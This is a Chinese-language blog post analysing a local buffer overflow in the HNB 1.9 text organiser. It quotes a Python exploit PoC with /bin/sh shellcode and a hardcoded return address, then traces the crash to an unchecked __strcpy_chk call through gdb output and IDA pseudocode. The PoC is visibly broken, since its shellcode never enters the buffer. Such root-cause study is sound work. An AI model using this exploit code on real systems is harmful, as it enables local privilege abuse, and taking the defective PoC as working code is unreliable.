[Linux]HNB 1.9本地代码执行漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/1e1ff680f6e94a1a28ca85eeb3ea6aa0-hnb_1.9.18-10_i386.deb

PoC:

import os, subprocess
 
def run():
  try:
    print "# HNB Organizer - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack"
    # NOPSLED + SHELLCODE + EIP
 
    buffersize = 108
    nopsled = "\x90"*40
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x40\xf3\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["hnb -rc",' ', buffer])
 
  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, HNB File Viewer - Not found!"
    else:
        print "Error executing exploit"
    raise
 
def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)
 
if __name__ == '__main__':
  try:
    print "Exploit HNB 1.9.18-10 Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()

测试环境:

Linux Kali 2.0


漏洞复现


HNB是linux下的一个文本编辑工具,有点像vim,在这个程序处理接收字符串的时候,由于对字符串没有进行严格的检查,从而调用strcpy的时候存入大量畸形字符串,随后在执行一次strcpy检查函数的时候,引发缓冲区溢出漏洞,下面对此漏洞进行详细分析。

首先gdb打开文件,执行PoC,发现程序崩溃,gdb捕捉到了崩溃时的场景。

Starting program: /usr/bin/hnb -rc `python -c 'print "A"*108'`
*** buffer overflow detected ***: /usr/bin/hnb terminated
======= Backtrace: =========
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c6f3)[0xb7e1c6f3]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb7eaa2d5]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xf838a)[0xb7ea838a]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb7ea7877]
/usr/bin/hnb[0x8049669]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xf3)[0xb7dc9a63]
/usr/bin/hnb[0x804a2d9]
======= Memory map: ========
08048000-0806e000 r-xp 00000000 08:01 948393     /usr/bin/hnb
0806e000-0806f000 r--p 00025000 08:01 948393     /usr/bin/hnb
0806f000-08070000 rw-p 00026000 08:01 948393     /usr/bin/hnb
08070000-080b1000 rw-p 00000000 00:00 0          [heap]
b7bfe000-b7c1a000 r-xp 00000000 08:01 1045450    /lib/i386-linux-gnu/libgcc_s.so.1
b7c1a000-b7c1b000 rw-p 0001b000 08:01 1045450    /lib/i386-linux-gnu/libgcc_s.so.1
b7c3b000-b7c7a000 r--p 00000000 08:01 268970     /usr/lib/locale/zu_ZA.utf8/LC_CTYPE
b7c7a000-b7daa000 r--p 00000000 08:01 268969     /usr/lib/locale/zu_ZA.utf8/LC_COLLATE
b7daa000-b7dab000 rw-p 00000000 00:00 0 
b7dab000-b7dae000 r-xp 00000000 08:01 1045366    /lib/i386-linux-gnu/i686/cmov/libdl-2.19.so
b7dae000-b7daf000 r--p 00002000 08:01 1045366    /lib/i386-linux-gnu/i686/cmov/libdl-2.19.so
b7daf000-b7db0000 rw-p 00003000 08:01 1045366    /lib/i386-linux-gnu/i686/cmov/libdl-2.19.so
b7db0000-b7f54000 r-xp 00000000 08:01 1045360    /lib/i386-linux-gnu/i686/cmov/libc-2.19.so
b7f54000-b7f56000 r--p 001a4000 08:01 1045360    /lib/i386-linux-gnu/i686/cmov/libc-2.19.so
b7f56000-b7f57000 rw-p 001a6000 08:01 1045360    /lib/i386-linux-gnu/i686/cmov/libc-2.19.so
b7f57000-b7f5b000 rw-p 00000000 00:00 0 
b7f5b000-b7f7b000 r-xp 00000000 08:01 1045572    /lib/i386-linux-gnu/libtinfo.so.5.9
b7f7b000-b7f7d000 r--p 00020000 08:01 1045572    /lib/i386-linux-gnu/libtinfo.so.5.9
b7f7d000-b7f7e000 rw-p 00022000 08:01 1045572    /lib/i386-linux-gnu/libtinfo.so.5.9
b7f7e000-b7fb8000 r-xp 00000000 08:01 1045492    /lib/i386-linux-gnu/libncursesw.so.5.9
b7fb8000-b7fb9000 r--p 00039000 08:01 1045492    /lib/i386-linux-gnu/libncursesw.so.5.9
b7fb9000-b7fba000 rw-p 0003a000 08:01 1045492    /lib/i386-linux-gnu/libncursesw.so.5.9
b7fc8000-b7fc9000 rw-p 00000000 00:00 0 
b7fc9000-b7fca000 r--p 00000000 08:01 268977     /usr/lib/locale/zu_ZA.utf8/LC_NUMERIC
b7fca000-b7fcb000 r--p 00000000 08:01 264430     /usr/lib/locale/en_US.utf8/LC_TIME
b7fcb000-b7fcc000 r--p 00000000 08:01 264425     /usr/lib/locale/en_US.utf8/LC_MONETARY
b7fcc000-b7fcd000 r--p 00000000 08:01 268470     /usr/lib/locale/ug_CN/LC_MESSAGES/SYS_LC_MESSAGES
b7fcd000-b7fce000 r--p 00000000 08:01 268754     /usr/lib/locale/yi_US.utf8/LC_PAPER
b7fce000-b7fcf000 r--p 00000000 08:01 268752     /usr/lib/locale/yi_US.utf8/LC_NAME
b7fcf000-b7fd0000 r--p 00000000 08:01 264418     /usr/lib/locale/en_US.utf8/LC_ADDRESS
b7fd0000-b7fd1000 r--p 00000000 08:01 268755     /usr/lib/locale/yi_US.utf8/LC_TELEPHONE
b7fd1000-b7fd2000 r--p 00000000 08:01 268748     /usr/lib/locale/yi_US.utf8/LC_MEASUREMENT
b7fd2000-b7fd9000 r--s 00000000 08:01 6076       /usr/lib/i386-linux-gnu/gconv/gconv-modules.cache
b7fd9000-b7fda000 r--p 00000000 08:01 264421     /usr/lib/locale/en_US.utf8/LC_IDENTIFICATION
b7fda000-b7fdc000 rw-p 00000000 00:00 0 
b7fdc000-b7fde000 r--p 00000000 00:00 0          [vvar]
b7fde000-b7fdf000 r-xp 00000000 00:00 0          [vdso]
b7fdf000-b7ffe000 r-xp 00000000 08:01 1045396    /lib/i386-linux-gnu/ld-2.19.so
b7ffe000-b7fff000 r--p 0001f000 08:01 1045396    /lib/i386-linux-gnu/ld-2.19.so
b7fff000-b8000000 rw-p 00020000 08:01 1045396    /lib/i386-linux-gnu/ld-2.19.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]

Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x65ff 
ECX: 0x65ff 
EDX: 0x6 
ESI: 0x3a (':')
EDI: 0xb7f56000 --> 0x1a5da8 
EBP: 0xbfffce98 --> 0xb7f0fdd6 ("buffer overflow detected")
ESP: 0xbfffcc24 --> 0xbfffce98 --> 0xb7f0fdd6 ("buffer overflow detected")
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>:    pop    ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fdebdc <__kernel_vsyscall+12>:   nop
   0xb7fdebdd <__kernel_vsyscall+13>:   nop
   0xb7fdebde <__kernel_vsyscall+14>:   int    0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>:   pop    ebp
   0xb7fdebe1 <__kernel_vsyscall+17>:   pop    edx
   0xb7fdebe2 <__kernel_vsyscall+18>:   pop    ecx
   0xb7fdebe3 <__kernel_vsyscall+19>:   ret    
   0xb7fdebe4:  int3
[------------------------------------stack-------------------------------------]
0000| 0xbfffcc24 --> 0xbfffce98 --> 0xb7f0fdd6 ("buffer overflow detected")
0004| 0xbfffcc28 --> 0x6 
0008| 0xbfffcc2c --> 0x65ff 
0012| 0xbfffcc30 --> 0xb7dde307 (<__GI_raise+71>:   xchg   ebx,edi)
0016| 0xbfffcc34 --> 0xb7f56000 --> 0x1a5da8 
0020| 0xbfffcc38 --> 0xbfffccd4 (" 08:01 1045396    /lib/i386-linux-gnu/ld-2.19.so\nb7ffe000-b7fff000 r--p 0001f000 08:01 1045396    /lib/i386-linux-gnu/ld-2.1\003")
0024| 0xbfffcc3c --> 0xb7ddf9c3 (<__GI_abort+323>:  mov    edx,DWORD PTR gs:0x8)
0028| 0xbfffcc40 --> 0x6 

可以看到,此时已经进入了异常处理部分,接下来通过bt回溯来观察一下调用情况。

Legend: code, data, rodata, value
Stopped reason: SIGABRT
0xb7fdebe0 in __kernel_vsyscall ()
gdb-peda$ bt
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb7dde307 in __GI_raise (sig=sig@entry=0x6)
    at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb7ddf9c3 in __GI_abort () at abort.c:89
#3  0xb7e1c6f8 in __libc_message (do_abort=do_abort@entry=0x2, 
    fmt=fmt@entry=0xb7f0fe55 "*** %s ***: %s terminated\n")
    at ../sysdeps/posix/libc_fatal.c:175
#4  0xb7eaa2d5 in __GI___fortify_fail (
    msg=msg@entry=0xb7f0fdd6 "buffer overflow detected") at fortify_fail.c:31
#5  0xb7ea838a in __GI___chk_fail () at chk_fail.c:28
#6  0xb7ea7877 in __strcpy_chk (dest=0x806f6e4 'A' <repeats 100 times>, 
    src=0xbffff612 'A' <repeats 108 times>, destlen=<optimized out>)
    at strcpy_chk.c:60
#7  0x08049669 in ?? ()
#8  0xb7dc9a63 in __libc_start_main (main=0x80494e0, argc=0x3, 
    argv=0xbffff494, init=0x805da50, fini=0x805dac0, 
    rtld_fini=0xb7fedc90 <_dl_fini>, stack_end=0xbffff48c) at libc-start.c:287
#9  0x0804a2d9 in ?? ()
gdb-peda$ 

可以看到#6和#7处又一个比较有意思的位置,在#6处调用的strcpy_chk函数中,src位置已经是畸形字符串了,那么就由此入手来看看漏洞的成因。


漏洞分析


首先在回溯过程中,我发现了函数里一些比较有趣的位置,去掉回溯过程,直接正向来看一下漏洞形成过程。

Breakpoint 1, 0x0804a1f7 in ?? ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xbffff494 --> 0xbffff601 ("/usr/bin/hnb")
EBX: 0x2 
ECX: 0x2d ('-')
EDX: 0xbffff60e --> 0x63722d ('-rc')
ESI: 0x4 
EDI: 0xbfffcfdc --> 0x0 
EBP: 0xbffff3f8 --> 0x0 
ESP: 0xbfffcef0 --> 0xbffff60e --> 0x63722d ('-rc')
EIP: 0x804a1fb (mov    eax,DWORD PTR [eax+esi*1+0x4])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804a1f0:   mov    eax,DWORD PTR [esp+0x2c]
   0x804a1f4:   add    ebx,0x1
   0x804a1f7:   mov    esi,DWORD PTR [esp+0x28]
=> 0x804a1fb:   mov    eax,DWORD PTR [eax+esi*1+0x4]
   0x804a1ff:   mov    DWORD PTR [esp+0xe4],eax
   0x804a206:   jmp    0x80495f5
   0x804a20b:   cmp    eax,0x67
   0x804a20e:   jne    0x804a222
[------------------------------------stack-------------------------------------]
0000| 0xbfffcef0 --> 0xbffff60e --> 0x63722d ('-rc')
0004| 0xbfffcef4 --> 0x8062970 ("--xml")
0008| 0xbfffcef8 --> 0x0 
0012| 0xbfffcefc --> 0x0 
0016| 0xbfffcf00 --> 0x0 
0020| 0xbfffcf04 --> 0x0 
0024| 0xbfffcf08 --> 0x0 
0028| 0xbfffcf0c --> 0xbffff60e --> 0x63722d ('-rc')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804a1fb in ?? ()

首先在0x0804a1fb位置下断点进行跟踪,发现此时esp栈帧指向的位置是-rc,正是poc中的一处关键参数。而-rc后面跟的就是异常字符串,接下来单步跟进。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xbffff612 ('A' <repeats 108 times>)
EBX: 0x2 
ECX: 0x2d ('-')
EDX: 0xbffff60e --> 0x63722d ('-rc')
ESI: 0x4 
EDI: 0xbfffcfdc --> 0x0 
EBP: 0xbffff3f8 --> 0x0 
ESP: 0xbfffcef0 --> 0xbffff60e --> 0x63722d ('-rc')
EIP: 0x804a1ff (mov    DWORD PTR [esp+0xe4],eax)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804a1f4:   add    ebx,0x1
   0x804a1f7:   mov    esi,DWORD PTR [esp+0x28]
   0x804a1fb:   mov    eax,DWORD PTR [eax+esi*1+0x4]
=> 0x804a1ff:   mov    DWORD PTR [esp+0xe4],eax
   0x804a206:   jmp    0x80495f5
   0x804a20b:   cmp    eax,0x67
   0x804a20e:   jne    0x804a222
   0x804a210:   cmp    BYTE PTR [esi+0x1],0x74
[------------------------------------stack-------------------------------------]
0000| 0xbfffcef0 --> 0xbffff60e --> 0x63722d ('-rc')
0004| 0xbfffcef4 --> 0x8062970 ("--xml")
0008| 0xbfffcef8 --> 0x0 
0012| 0xbfffcefc --> 0x0 
0016| 0xbfffcf00 --> 0x0 
0020| 0xbfffcf04 --> 0x0 
0024| 0xbfffcf08 --> 0x0 
0028| 0xbfffcf0c --> 0xbffff60e --> 0x63722d ('-rc')
[------------------------------------------------------------------------------]

刚才那一步会把指针偏移某处的值赋给eax,执行完毕后观察eax的值已经变成了畸形字符串,这个地方会接收到畸形字符串。接下来单步跟进。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xbffff612 ('A' <repeats 108 times>)
EBX: 0x2 
ECX: 0x2d ('-')
EDX: 0xbffff60e --> 0x63722d ('-rc')
ESI: 0x4 
EDI: 0xbfffcfdc --> 0x0 
EBP: 0xbffff3f8 --> 0x0 
ESP: 0xbfffcef0 --> 0xbffff60e --> 0x63722d ('-rc')
EIP: 0x804a206 (jmp    0x80495f5)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804a1f7:   mov    esi,DWORD PTR [esp+0x28]
   0x804a1fb:   mov    eax,DWORD PTR [eax+esi*1+0x4]
   0x804a1ff:   mov    DWORD PTR [esp+0xe4],eax
=> 0x804a206:   jmp    0x80495f5
 | 0x804a20b:   cmp    eax,0x67
 | 0x804a20e:   jne    0x804a222
 | 0x804a210:   cmp    BYTE PTR [esi+0x1],0x74
 | 0x804a214:   jne    0x804a222
 |->   0x80495f5:   add    ebx,0x1
       0x80495f8:   cmp    DWORD PTR [ebp+0x8],ebx
       0x80495fb:   jg     0x8049530
       0x8049601:   mov    edx,ebx
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xbfffcef0 --> 0xbffff60e --> 0x63722d ('-rc')
0004| 0xbfffcef4 --> 0x8062970 ("--xml")
0008| 0xbfffcef8 --> 0x0 
0012| 0xbfffcefc --> 0x0 
0016| 0xbfffcf00 --> 0x0 
0020| 0xbfffcf04 --> 0x0 
0024| 0xbfffcf08 --> 0x0 
0028| 0xbfffcf0c --> 0xbffff60e --> 0x63722d ('-rc')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804a206 in ?? ()
gdb-peda$ x/10x $eax
0xbffff612: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff622: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff632: 0x41414141  0x41414141

可以看到这时会将eax的值交给esp+0x1位置,那么这一处执行完毕后,某处指针会保存这个畸形字符串,相应的汇编代码如下。

.text:0804A1F7                 mov     esi, [esp+28h]
.text:0804A1FB                 mov     eax, [eax+esi+4]
.text:0804A1FF                 mov     [esp+0E4h], eax

接下来继续向下跟踪,找到某一处汇编代码块。

.text:0804964D                 mov     dword ptr [esp+8], 64h
.text:08049655                 mov     [esp+4], eax
.text:08049659                 mov     dword ptr [esp], offset byte_806F6E4
.text:08049660                 mov     [esp+28h], edx
.text:08049664                 call    ___strcpy_chk

可以看到,这里就是在之前bt回溯时发生的strcpy_chk函数,那么下断点跟踪。

gdb-peda$ b *0x0804964D
Breakpoint 2 at 0x804964d
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xbffff612 ('A' <repeats 108 times>)
EBX: 0x0 
ECX: 0x0 
EDX: 0x3 
ESI: 0x4 
EDI: 0xbfffcfdc --> 0x0 
EBP: 0xbffff3f8 --> 0x0 
ESP: 0xbfffcef0 --> 0x6 
EIP: 0x804964d (mov    DWORD PTR [esp+0x8],0x64)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049642:   mov    eax,DWORD PTR [esp+0xe4]
   0x8049649:   test   eax,eax
   0x804964b:   je     0x804966d
=> 0x804964d:   mov    DWORD PTR [esp+0x8],0x64
   0x8049655:   mov    DWORD PTR [esp+0x4],eax
   0x8049659:   mov    DWORD PTR [esp],0x806f6e4
   0x8049660:   mov    DWORD PTR [esp+0x28],edx
   0x8049664:   call   0x8049370 <__strcpy_chk@plt>
[------------------------------------stack-------------------------------------]
0000| 0xbfffcef0 --> 0x6 
0004| 0xbfffcef4 --> 0x80698b6 --> 0x6e750000 ('')
0008| 0xbfffcef8 --> 0x0 
0012| 0xbfffcefc --> 0x0 
0016| 0xbfffcf00 --> 0x0 
0020| 0xbfffcf04 --> 0x0 
0024| 0xbfffcf08 --> 0x0 
0028| 0xbfffcf0c --> 0xbffff60e --> 0x63722d ('-rc')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

到这里时,观察eax寄存器的值,仍然保留的是畸形字符串的内容,随后在08049655位置,会将eax存入esp+4位置,也就是说是第一个参数会调用到,接下来直接到达strcpy_chk位置。

这里还要说明一下,看一下eax大小,可知道strcpy_chk之前,一直没有对这个值的长度进行严格的校验。

[----------------------------------registers-----------------------------------]
EAX: 0xbffff612 ('A' <repeats 108 times>)
EBX: 0x0 
ECX: 0x0 
EDX: 0x3 
ESI: 0x4 
EDI: 0xbfffcfdc --> 0x0 
EBP: 0xbffff3f8 --> 0x0 
ESP: 0xbfffcef0 --> 0x6 
EIP: 0x8049659 (mov    DWORD PTR [esp],0x806f6e4)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804964b:   je     0x804966d
   0x804964d:   mov    DWORD PTR [esp+0x8],0x64
   0x8049655:   mov    DWORD PTR [esp+0x4],eax
=> 0x8049659:   mov    DWORD PTR [esp],0x806f6e4
   0x8049660:   mov    DWORD PTR [esp+0x28],edx
   0x8049664:   call   0x8049370 <__strcpy_chk@plt>
   0x8049669:   mov    edx,DWORD PTR [esp+0x28]
   0x804966d:   mov    DWORD PTR [esp],0x806f6e4
[------------------------------------stack-------------------------------------]
0000| 0xbfffcef0 --> 0x6 
0004| 0xbfffcef4 --> 0xbffff612 ('A' <repeats 108 times>)
0008| 0xbfffcef8 --> 0x64 ('d')
0012| 0xbfffcefc --> 0x0 
0016| 0xbfffcf00 --> 0x0 
0020| 0xbfffcf04 --> 0x0 
0024| 0xbfffcf08 --> 0x0 
0028| 0xbfffcf0c --> 0xbffff60e --> 0x63722d ('-rc')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08049659 in ?? ()
gdb-peda$ x/10x $esp+4
0xbfffcef4: 0xbffff612  0x00000064  0x00000000  0x00000000
0xbfffcf04: 0x00000000  0x00000000  0xbffff60e  0x0000002d
0xbfffcf14: 0xbffff60e  0x00000003
gdb-peda$ x/10x $(esp+4)
No symbol "esp" in current context.
gdb-peda$ x/10x 0xbffff612
0xbffff612: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff622: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff632: 0x41414141  0x41414141

可以看到,执行strcpy_chk时,畸形字符串会传入,继续单步执行,到达漏洞位置。

Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x6884 
ECX: 0x6884 
EDX: 0x6 
ESI: 0x3a (':')
EDI: 0xb7f56000 --> 0x1a5da8 
EBP: 0xbfffce98 --> 0xb7f0fdd6 ("buffer overflow detected")
ESP: 0xbfffcc24 --> 0xbfffce98 --> 0xb7f0fdd6 ("buffer overflow detected")
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>:    pop    ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fdebdc <__kernel_vsyscall+12>:   nop
   0xb7fdebdd <__kernel_vsyscall+13>:   nop
   0xb7fdebde <__kernel_vsyscall+14>:   int    0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>:   pop    ebp
   0xb7fdebe1 <__kernel_vsyscall+17>:   pop    edx
   0xb7fdebe2 <__kernel_vsyscall+18>:   pop    ecx
   0xb7fdebe3 <__kernel_vsyscall+19>:   ret    
   0xb7fdebe4:  int3
[------------------------------------stack-------------------------------------]
0000| 0xbfffcc24 --> 0xbfffce98 --> 0xb7f0fdd6 ("buffer overflow detected")
0004| 0xbfffcc28 --> 0x6 
0008| 0xbfffcc2c --> 0x6884 
0012| 0xbfffcc30 --> 0xb7dde307 (<__GI_raise+71>:   xchg   ebx,edi)
0016| 0xbfffcc34 --> 0xb7f56000 --> 0x1a5da8 
0020| 0xbfffcc38 --> 0xbfffccd4 (" 08:01 1045396    /lib/i386-linux-gnu/ld-2.19.so\nb7ffe000-b7fff000 r--p 0001f000 08:01 1045396    /lib/i386-linux-gnu/ld-2.1\003")
0024| 0xbfffcc3c --> 0xb7ddf9c3 (<__GI_abort+323>:  mov    edx,DWORD PTR gs:0x8)
0028| 0xbfffcc40 --> 0x6 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
0xb7fdebe0 in __kernel_vsyscall ()

通过IDA反汇编的伪代码,可以将这个漏洞过程观察的更加清晰。

      if ( v58 != 117 )
      {
        if ( v58 == 114 )
        {
          if ( v66[2] == 99 && !v66[3] )
          {
            ++v3;
            v92 = a2[v75 + 1];
            goto LABEL_14;
          }
        }

首先在这里,会对a2偏移为v75+1位置的值赋值给v92,这里会将畸形字符串传入,接下来一段代码中,并没有对v92的值进行检查,而是直接传递。

  if ( v92 )
  {
    __strcpy_chk(byte_806F6E4, v92, 100);
    v12 = v76;
  }

这里直接判断v92存在后,会调用strcpy_chk,从而导致了缓冲区溢出的发生。

Comments
Write a Comment